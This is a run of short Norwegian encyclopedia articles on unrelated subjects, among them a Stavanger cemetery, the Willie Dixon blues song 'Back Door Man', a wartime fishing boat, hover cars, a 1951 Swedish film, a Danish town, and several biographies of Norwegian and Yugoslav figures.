Områdene rundt noen av øyene, og luftrommet over dem, er kilden til en pågående strid mellom Hellas og Tyrkia. «De italienske egeiske øyer» (italiensk: *Isole Italiane dell-’Egeo*) ble tidvis brukt som navn på de egeiske øyene Italia erobret under den italiensk-tyrkiske krigen i 1912 og som ble annektert i 1923. Disse øyene, hovedsakelig Dodekanesene, var italienske frem til 1947.

Referanser
----------

1. ↑  «Aegean Sea», *The Columbia Encyclopedia*, 6. utg. 2001-2005.

Se også
-------

* Liste over greske øyer
* Liste over tyrkiske øyer

  


|  |  |
| --- | --- |
| Oppslagsverk/autoritetsdata | Store norske leksikon **·** Encyclopædia Britannica **·** VIAF **·** LCCN **·** NDL **·** NKC **·** GeoNames
 |
Kart fra 1889 som viser plasseringen av Egenes kirkegård.
**Egenes kirkegård** var en kirkegård i Stavanger nordvest for krysset mellom Stokkaveien og Løkkeveien. I dag finner en her Rudlåparken, Hertervigparken, Sjømannshjemmet og Tanke Svilands gate.

Kirkegården ble tatt i bruk i 1844. Grunnen ble kjøpt av postfullmektig Kielland. I 1854 kjøpte kommunen et nytt stykke jord, og kirkegården ble utvidet oppover. Kirkegården var i bruk til 1870-tallet. Den ble nedlagt da Eiganes gravlund ble opprettet i 1910. 

Den nederste delen av kirkegården ble kalt kolerakirkegården som ble opprettet da kolerapandemien i 1846–1860 rammet Norge. 40 koleraoffer ble gravlagt i 1849.

Gravferdene ved kirkegården gikk ut fra Stavanger domkirke.

Kirkegården ble delt i to da Tanke Svilandsgate ble laget som en forlengelse til Løkkeveien som nødsarbeid i 1921-1922. Siden har Tanke Svilandsgate og Løkkeveien vært utvidet flere ganger på bekostning av parkene.

Kilder
------

* Stavanger Aftenblad: Kirkegaarden som forsvinder, 12. april 1922.
* Johanne Margrethe Johnsen: Kolera i 1849, Stavanger Aftenblad, 12. juni 1971.
* Om. Lunde: Gravplassene i Stavanger, udatert avisutklipp, ca. 1945-1946.

Bernhard Hansons skisse fra Egenes kirkegård i 1852.
**«Back Door Man»** er en Bluessang skrevet av Willie Dixon for Howlin' Wolf, og utgitt på plateselskapet Chess Records som B-side til Wolfs *Wang Dang Doodle* i 1961. Sangen blir regnet for en klassiker innen Chicago-blues.

Teksten
-------

I sørstatene er en «back-door man» en som har et sidesprang med en gift kvinne, og benytter bakdøren for å forlate huset før ektemannen kommer hjem. Wolf synger: «When everybody trying to sleep, I'm somewhere making my midnight creep. / Every morning the rooster crow, something tell me I got to go / I am a back door man». Dette er et tema som går igjen i mange bluessanger. Robert Plant refererer til Dixonsangen i Led Zeppelins «Whole Lotta Love» (1969): «Shake for me girl, I want to be your back-door man.»

Musikk
------

Singelen ble spilt inn i Chicago i 1960 av Howlin' Wolf (vokal), Otis Spann (piano), Hubert Sumlin og en anonym mann (gitar), Willie Dixon (bass) og Fred Below (trommer). Akkordprogressjonen i sangens refreng ligner på den man finner på Bo Diddleys «I'm a Man» (1955), John Lee Hookers «I'm Mad (Again)» (1957) og Dixons egne «Hoochie Coochie Man» (1954). De refererer alle tilbake til arbeidssanger sunget under byggingen av jernbanespor.

Andre versjoner
---------------

Sangen ble blant annet spilt av The Doors, som brukte den i sitt debutalbum i 1967. Andre som har spilt inn sangen, er Chicken Shack, Blues Project, Shadows of Knight, Bob Weir, Harmonica Slim & Hosea Leavy, Sam Gopal, T-Model Ford, Quicksilver Messenger Service og Soul Asylum med Iggy Pop under åpningen av Rock and Roll Hall of Fame.

Referanser
----------

1. ↑  Segrest, James; Hoffman, Mark (2005): *Moanin' at Midnight: The Life and Times of Howlin' Wolf*. Thunder's Mouth Press. s. 174. ISBN 1-56025-683-4
2. ↑  «Whole Lotta Love» Arkivert 24. desember 2007 hos Wayback Machine. *Rolling Stone*. 9. desember 2004.
3. ↑  Scott, Richard J. (2003):*Chord Progressions for Songwriters*. iUniverse. s. 110. ISBN 0-595-26384-4

Eksterne lenker
---------------

* (en) Back Door Man by Willie Dixon hos AllMusic

|  |  |
| --- | --- |
| Oppslagsverk/autoritetsdata | MusicBrainz
 |
**MK «Lykken»** er en 37 fots krysser (fiskebåt) som ble bygd i 1939. Båten er i dag (2008) under restaurering av Øksnes Kystlag. Etter gjenoppbygging etter andre verdenskrig har båten i dag en 22 hk Volda semidiesel-motor.

«Lykken» ble bygd i Namdalen og var opprinnelig eid av Normann Nilsen i Øksnes i Nordland. Båten var en av de såkalte Nygaardsvoldbåtene, som var fiskebåter som ble finansiert gjennom ei støtteordning som regjeringen Nygaardsvold satte i verk for å bygge opp fiskeflåten på slutten av 1930-tallet. «Lykken» ble drevet fra Skipnes i Øksnes, og drev fiske utenfor Vesterålen, i Lofoten og Finnmark før og i begynnelsen av andre verdenskrig.

Under andre verdenskrig ble båten brukt i illegalt arbeid, og fraktet flyktninger fra land ut til større båter som tok dem med over til Storbritannia. 18. desember 1944 ble båtens eier Normann Nilsen tatt ombord i et alliert marinefartøy for å bli bragt i sikkerhet i Storbritannia, og «Lykken» ble forsøkt senket utenfor Hovden i Bø. Etter tre forsøk var «Lykken» tilsynelatende sunket. Båten sank imidlertid ikke, men holdt seg delvis flytende på grunn av luftlommer i båten, og rak senere på land på Senja. Båten ble bygd opp igjen, og ble solgt til Finnmark i 1952, og var i drift som fiskebåt der fram til 1979. Etter en periode med flere eiere ble båten kjøpt av Sør-Varanger Museum i 1987.

I 1993 ble «Lykken» hentet fra Bugøynes i Øst-Finnmark tilbake til Øksnes av Øksnes Kystlag. Båten ble restaurert og sjøsatt igjen i juli 1995, og var i bruk av kystlaget ved forskjellige anledninger. I 2007 ble det imidlertid oppdaget at båten var sterkt skadet av råte, og båten måtte restaureres helt fra grunnen av. I dag (2008) er dette arbeidet fremdeles i gang. Båten ligger ved Samhold Slip i Sørvågen.

«Lykken» er vernet av Riksantikvaren, og restaureringen har fått støtte fra blant annet Riksantikvaren og Norsk kulturminnefond.

Eksterne lenker
---------------

* Norsk Forening for Fartøyvern: Lykken
* Samhold Slipp: Prosjekter i arbeid
* Forbundet Kysten: M/K Lykken (7. november 2005)
* Nordnorsk Fartøyvernsenter og Indre Sør-Troms Museum: M/K Lykken (3. mai 2007)
* Øksnes kommune: M/K Lykken
* Norsk kulturminnefond: M/K Lykken[*død lenke*]
* Stiftelsen UNI: Øksnes Kystlag - M/K Lykken[*død lenke*]

Portal: Andre verdenskrig
Luftputebilen Curtiss-Wright GEM 2500 i Fort Eustis.
**Luftputebil** er en norsk oversettelse av det engelske ordet **Hover car**, som brukes som en generell beskrivelse av samtlige flyvende bilkjøretøyer med liten bakkeklaring opptil få meter over bakken. Denne biltypen er skildret som et populært persontransportmiddel i science fiction-litteratur og -film, med diverse teknologiske løsninger som gravitasjonsoppheving, som for eksempel de ikoniske *landspeeders* fra Star Wars filmene.

I den virkelige verden har det vært flere forsøk på å gi bilkjøretøy evnen til å sveve gjennom bruk av eksisterende teknologi som luftputebåt og aerotrain, som genererer en «pute» av komprimert og konsentrert luft under selve kjøretøyet. Maglev, ved å levitere bilkjøretøyet med hjelp av elektromagnetiske krefter, ble også hentet fram. Ingen av prosjektene kom til serieproduksjon.

Luftputebilen i virkeligheten
-----------------------------

Forskjellige eksempler er kjent, som den amerikanske luftputebilen *Curtiss-Wright Model 2500 Air Car* fra 1959, et stort toseters luftputekjøretøy med to Lycoming motorer hver på 180 hestekrefter foran og bak passasjerrommet, som drev hver sin vifte som sugde ned luft og slapp den ut i ringdysen som skapte luftputen.

Curtiss-Wright Model 2500 var et meget ambisiøst prosjekt i en tid da det var stor interesse for futuristisk transport også innenfor biltransport. Den ble gitt et utseende som minnet om romfartøyer og annet skildret i datidens science fiction-underholdning. Konseptet bak luftputeeffekten hadde blitt oppdaget på midten av 1950-tallet, med etterfølgende eksperimentering og prøvetesting av prototypekjøretøyer. Med Air Car håpet Curtiss-Wright at de kunne tilby et allsidig transportmiddel uavhengig av veger for både personbefordring og godsfrakt. Ettersom luftputebilen bare kunne sveve ned til 15 centimeter og var svært tørst på brensel mistet både militæret og sivile interesse for prosjektet. To eksemplarer ble bygd, det ene har blitt bevart i US Army Transportation Museum i Fort Eustis, delstaten Virginia.

Et annet prosjekt var *Hover Rover* fra 1962 som et jordbrukskjøretøy for spraying av åker. De britiske myndighetene lanserte prosjektet for å se om luftputekjøretøy kunne brukes for jordbruk, så Vickers Armstrong bygde en plattform med gummiskjørt og ringdyse som man ganske enkelt plasserte bilkarosseriet fra en Land Rover (Serie II 109) ovenpå. Det viste seg at luftputebilen ville ha for liten nyttelast i forhold til motoreffekten (to motorer), så prosjektet ble oppgitt. Men Hover Rover var i stand til å ta seg fram på oppløyd mark i motsetning til Land Rover-bilen på hjul.

Se også
-------

* Flyvende bil
* Luftputefartøy

Referanser
----------

1. ↑  Curtiss Wright\_Model\_2500\_Air\_Car\_1959 (russisk-engelsk)
2. ↑  The 1959 Curtiss-Wright Model 2500 Air-Car
3. ↑  Hollebone, s. 66

Litteratur
----------

* Ashley Hollebone, *The Hovercraft - A History* The History Press 2012 ISBN 978-0-7524-6479-4

Eksterne lenker
---------------

* Everything Was Up in the Air for the Aeromobile-200 Until the 1962 International Trade Fairs
* The Legend Of Ford's Flying Car Debunked
***Sterkere enn loven*** (svensk: *Starkare än lagen*) er en svensk dramafilm fra 1951. Arnold Sjöstrand hadde personregien i august 1950, en ukreditert Ragnar Frisk hadde regien i april 1950, en ukreditert Martin Söderhjelm hadde regien fra 16. august 1950 og Bengt Logardt hadde den tekniske regien.

Filmens litterære forelegg var Bernhard Nordhs roman *Starkare än lagen* fra 1943. Planer på å filmatisere romanen fantes allerede på 1940-tallet og Nordh skrev et manusutkast sammen med Arne Mattsson. Dette kom aldri til å bli brukt og i stedet ble et nytt manus skrevet av Nordh alene.

Norske Edel Stenberg spiller rollen som fru *Petersen*.

Filmen ble spilt inn april-august 1950 med visse kompletterende scener høsten samme år. Innspillingssteder var blant annet Sandrews studioer i Stockholm, Hamrafjället, Skarvarna, Anderssjöfjället, Malmagen, Handöls kapell, Åre, Tyresö samt Viby gård utenfor Sigtuna.

Handling
--------

Filmen utspiller seg på 1870-tallet, og handler om nybygger-bønder i Norrlands fjellverden. Men en fremmed mann fra sør kommer til dette området, og samhandler blant annet med Anna og den sprudlende Mimmi. Etter hvert viser det seg imidlertid at denne ukjente mannen har myrdet en mann, og han er nå på flukt fra loven.

I rollene (kun krediterte)
--------------------------

* Margareta Fahlén – *Anna Persson*
* Bengt Logardt – *Helge Andersson*
* Margit Carlqvist – *Mimmi*
* Arnold Sjöstrand – *Anders Olsson*
* Eva Stiberg – *Stina*
* Sven Magnusson – *Per*
* Peter Lindgren – *Manuel*
* Yvonne Lombard – *Elvira*
* Åke Fridell – *Mattias*
* Sten Lindgren – *Lensmann*
* Eric Laurent – *Johan Persson på Björknäs*
* Albert Ståhl – *Ola*
* Georg Skarstedt – *Presten*
* Edel Stenberg – *Fru Petersen*
* Alf Östlund – *Stenerud*
* Harry Dahlgren – *Herr Petersen*
* Brita Ulfberg – *Fru Stenerud*

Kilder
------

* *Starkare än lagen* (1950) i Svensk Filmdatabas

Eksterne lenker
---------------

* (en) *Sterkere enn loven* på Internet Movie Database Rediger på Wikidata

* (no) *Sterkere enn loven* hos Filmfront Rediger på Wikidata

* (sv) *Sterkere enn loven* i Svensk Filmdatabas Rediger på Wikidata
**Tørring** er en by i Hedensted kommune i Region Midtjylland i Danmark. Den ligger ved Gudenåen, 27 kilometer vest for Horsens, og 20 kilometer nord for Vejle og har et innbyggertall på 2 511 (2013)..

Historie
--------

### Navn og geografi

Byens navn er avledet av det gammeldanske *thur* = «tørr», altså det tørre området. Den opprinnelige landsbyens plassering på en moreneknute nord for Gudenåen forklarer muligens stednavnets opprinnelse.

Tørring består av to deler, som nå er vokst sammen:

* *Gammel Tørring* nord for elva, med kirke, skoler og hall.
* *Tørring Stationsby* sør for elva, med størstedelen av næringslivet.

### Jernbanen

Tørring var fra 1891 endestasjon på Horsens-Tørring Banen, som het Horsens Vestbaner fra 1929, da banen ble forlenget til Thyregod og fikk en sidebane fra Rask Mølle til Ejstrupholm. Horsens Vestbaner innstilte persontrafikken i 1957 og ble helt nedlagt i 1962. Lokstallen ble revet allerede i 1949. Stasjonsbygningen fungerte etter nedleggelsen som rutebilstasjon, men er senere revet. Nå er det bare navnet Jernbanegade som minner om *Tørringbanen*, som den også ble kalt fram til 1929.

Referanser
----------

1. ↑  Statistikbanken Tabel BEF44, Danmarks Statistik
2. ↑  Bent Jørgensen, *Stednavne ordbog*, Gyldendal 1994

|  |  |
| --- | --- |
| Oppslagsverk/autoritetsdata | Store Danske Encyklopædi **·** GeoNames **·** GeoNames
 |

Portal: Danmark
Tomm Murstads sjøleir for barn i Oslofjorden.
**Tomm Murstad, sr.** (født 2. juli 1915 i Fredrikstad, død 19. januar 2001 i Oslo) var en norsk reklamemann og idrettsmann, kjent for sine utmerkede resultater i flere grener (hopp, alpint, vannski). Med tilnavnet **Onkel Tomm** etablerte han flere idrettsskoler for barn.

Liv og virke
------------

Murstad var oppvokst på Vinderen i Oslo og ble som ung skitrener i Alpene såvel som i USA, der han også var akrobat med egen fremvisning på Madison Square Garden og *Treasure Island* utenfor San Francisco. Han etablerte verdens første barneskiskole på Øvreseter (1934), der de norske kongelige har gått. Samme stedet finner man i dag utebarhenget *Onkel Tomms hytte* (etablert 1990).

Murstad var olympiatrener for den norske alpinisten Stein Eriksen. Han etablerte ***Tomm Murstads sjøleir*** på Høyerholmen i 1960, og dette er fortsatt et tilbud til barn i alderen 7-16 år. *Tommleplassene* er utebarnehager i Tryvannsåsen ved Holmenkollen, navngitt etter ham.

Ellers drev han klesbutikk i Majorstuen. Til hans åttiårsdag ga Skiforeningen utstillingen *Gi barna sjansen*, dedikert Murstad. Hans siste skioppvisning var åpningen av Interskikongressen (1999). Hans sønn (Tomm Murstad junior, født 1943) driver videre i samme geskjeft.

Utgivelser
----------

* *På ski* (Aschehoug, 1946). Bidragsyter (m.fl.)
* *De første spor med far og mor* (Cappelen, 1960). Med Bjørn Winsnes
* Rolf Kirkvaag, *Tomm Murstad – en entusiastisk skihistorie* (1984).

Premier
-------

* Kongens fortjenstmedalje i gull 1980

Referanser
----------

1. ↑  biografi fra www.skiskole.no
2. ↑  onkeltommshytte.net Arkivert 15. desember 2008 hos Wayback Machine.

Eksterne lenker
---------------

* *Artikkelen har ingen egenskaper for sportsdatabaser i Wikidata*

|  |  |
| --- | --- |
| Oppslagsverk/autoritetsdata | Store norske leksikon **·** Norsk biografisk leksikon **·** Lokalhistoriewiki **·** BIBSYS **·** Geni **·** VIAF **·** LCCN **·** ISNI
 |
**Tomislav Paškvalin** (født 29. august 1961 i Zagreb i nåværende Kroatia) var en jugoslavisk vannpolospiller som deltok i de olympiske leker 1984 i Los Angeles og 1988 i Seoul. 

Paškvalin ble olympisk mester i vannpolo under Sommer-OL 1984 i Los Angeles. Han var med på det jugoslaviske laget som vant vannpoloturneringen foran USA og Vest-Tyskland. Jugoslavia vant finalegruppen som besto av fem lag med ni poeng, samme som USA men med bedre målforskjell. Kampen mellom USA og Jugoslavia ble uavgjort 5-5. Paškvalin spilte sju kamper og scoret elleve mål i OL-turneringen.

OL-medaljer
-----------

* 1984 USAs flagg Los Angeles - Gull **Gull** i vannpolo, Jugoslavias flagg Jugoslavia
* 1988 Sør-Koreas flagg Seoul - Gull **Gull** i vannpolo, Jugoslavias flagg Jugoslavia

Eksterne lenker
---------------

* (en) Tomislav Paškvalin – Olympics.com Rediger på Wikidata

* (en) Tomislav Paškvalin – Olympic.org Rediger på Wikidata

* (en) Tomislav Paškvalin – Olympedia Rediger på Wikidata

* (en) Tomislav Paškvalin – Sports-Reference (OL-resultater – arkivert) Rediger på Wikidata

* (hr) Tomislav Paškvalin – Kroatias olympiske komité Rediger på Wikidata

  


|  |  |
| --- | --- |
| Oppslagsverk/autoritetsdata | Prabook
 |
**Søren Gottfried Bøckmann** (født 26. august 1771 i Brunlanes, død 27. oktober 1841) var en norsk jurist, offiser og embetsmann. Han ble valgt inn i stortinget for perioden 1821 til 1823 for Lister og Mandals amt. 

Bøckmann var offiser i «Søetaten», men ble student i 1796, og tok latinsk juridisk eksamen i 1797 med *laud*. Han bestod også den praktiske prøven samme år, med *Haud illaud*, og ble sorenskriver i Gauldalen, senere kanselliråd. I 1809 ble han sorenskriver i Lyngdal. 

Han ble valgt inn på Stortinget for Stortingsperioden 1821 - 1823, men møtte ikke i 1822 på grunn av sykdom, så Ole Johnsen Næsset måtte tre inn. Bøckmann var president i Odelstinget i 1821.

Han giftet seg med Anna Smith i 1795.

Referanser
----------

1. 1 2   Stortinget og statsraadet: 1814–1914. B. 1 D. 1 : Biografier A-K, side(r) 155[Hentet fra Wikidata]

Kilder
------

* Bernt Moe: *Biographiske Efterretninger om Eidsvolds-Repræsentanter og Storthingsmænd i Tidsrummet 1814–1845*, s. 42-43.

Eksterne lenker
---------------

* (no) Søren Bøckmann hos Norsk senter for forskningsdata politikerarkiv (nedlagt) Rediger på Wikidata

  


|  |  |
| --- | --- |
| Oppslagsverk/autoritetsdata | Lokalhistoriewiki **·** Historisk befolkningsregister
 |